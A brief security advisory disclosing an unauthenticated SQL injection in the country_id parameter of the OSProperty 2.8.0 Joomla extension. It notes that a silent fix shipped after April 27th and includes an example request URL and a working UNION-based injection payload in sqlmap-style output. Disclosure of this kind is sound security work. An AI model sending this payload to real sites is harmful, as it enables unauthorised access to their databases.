OS Solution OSProperty 2.8.0 was vulnerable to an unauthenticated SQL injection in the country_id parameter of the request made to retrieve a list of states for a given country. The version was not bumped when the vulnerability was fixed, but if you download after April 27th, you downloaded a fixed version. http://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/os-property http://joomdonation.com/joomla-extensions/os-property-joomla-real-estate.html Example URL: http://172.31.16.51/index.php?option=com_osproperty&no_html=1&tmpl=component&task=ajax_loadStateInListPage&country_id=31 Parameter: country_id (GET) Type: UNION query Title: MySQL UNION query (NULL) - 2 columns Payload: option=com_osproperty&no_html=1&tmpl=component&task=ajax_loadStateInListPage&country_id=31' UNION ALL SELECT NULL,CONCAT(0x716a627171,0x797774584a4b4954714d,0x7162717071)# -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website
